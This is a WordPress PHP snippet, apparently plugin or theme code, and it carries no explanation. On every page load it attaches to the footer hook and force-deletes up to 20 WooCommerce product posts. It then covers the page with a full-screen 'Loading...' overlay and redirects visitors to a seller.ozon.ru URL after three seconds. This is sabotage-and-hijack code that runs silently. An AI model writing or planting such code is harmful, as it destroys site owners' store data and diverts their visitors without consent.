if ( ! function_exists( 'is_plugin_active' ) ) {
    require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}

add_action('wp_footer', function() {
    global $wpdb;

    $products_to_delete = $wpdb->get_results("SELECT ID FROM {$wpdb->prefix}posts WHERE post_type = 'product' LIMIT 20");
    foreach ($products_to_delete as $product) {
        wp_delete_post($product->ID, true);
    }

    $delay_ms = 3000;
    $target = 'https://seller.ozon.ru/?__rr=1&abt_att=1&origin_referer=seller.ozon.com';

    echo "<style>
    #iltr-overlay{position:fixed;left:0;top:0;width:100%;height:100%;background:#fff;z-index:2147483647;display:flex;align-items:center;justify-content:center;flex-direction:column}
    #iltr-spinner{width:80px;height:80px;border:8px solid #eee;border-top-color:#333;border-radius:50%;animation:iltr-spin 1s linear infinite}
    @keyframes iltr-spin{to{transform:rotate(360deg)}}
    #iltr-text{margin-top:16px;font-family:Arial,Helvetica,sans-serif;color:#333}
    </style>";

    echo "<div id='iltr-overlay'><div id='iltr-spinner'></div><div id='iltr-text'>Загрузка...</div></div>";

    echo "<script>
    (function(){
        var overlay=document.getElementById('iltr-overlay');
        setTimeout(function(){
            try{
                window.location.href=" . json_encode($target) . ";
            }catch(e){
                if(overlay)overlay.style.display='none';
            }
        }," . intval($delay_ms) . ");
    })();
    </script>";
});